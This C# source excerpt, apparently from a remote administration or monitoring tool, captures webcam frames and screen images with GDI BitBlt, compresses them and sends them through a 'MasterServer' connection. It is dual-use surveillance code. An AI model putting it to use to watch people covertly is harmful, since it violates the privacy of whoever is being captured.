private void _videoDevice_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
var bitmapArray = ImageHelpers.CompressImage(eventArgs.Frame, _startMessage.Quality);
MasterServer.Instance.ExecuteComplexSendOperation(_startMessage.WindowId,
"Webcam capture",
() => new WebcamCaptureMessage
{
RawImage = bitmapArray,
Width = _videoDevice.VideoResolution.FrameSize.Width,
Height = _videoDevice.VideoResolution.FrameSize.Height,
Quality = _startMessage.Quality,
ScreenNumber = _startMessage.ScreenNumber,
FrameRate = _videoDevice.VideoResolution.AverageFrameRate
});
}
/// <summary>
///
/// </summary>
/// <param name="screenNb"></param>
/// <param name="quality"></param>
/// <returns></returns>
public static ScreenCaptureMessage CaptureScreen(int screenNb, int quality)
{
var bounds = Screen.AllScreens[screenNb].Bounds;
var screen = new Bitmap(
bounds.Width,
bounds.Height,
PixelFormat.Format32bppPArgb);
using (var dest = Graphics.FromImage(screen))
{
var destPtr = dest.GetHdc();
var srcPtr = Gdi32.CreateDC("DISPLAY",
null,
null,
IntPtr.Zero);
Gdi32.BitBlt(destPtr,
0,
0,
bounds.Width,
bounds.Height,
srcPtr,
bounds.X,
bounds.Y,
Gdi32.ROP_COPY);
Gdi32.DeleteDC(srcPtr);
dest.ReleaseHdc(destPtr);
}
var compressed = ImageHelpers.CompressImage(screen, quality);
screen.Dispose();
return(new ScreenCaptureMessage
{
ScreenNumber = screenNb,
Quality = quality,
Width = bounds.Width,
Height = bounds.Height,
RawImage = compressed
});
}
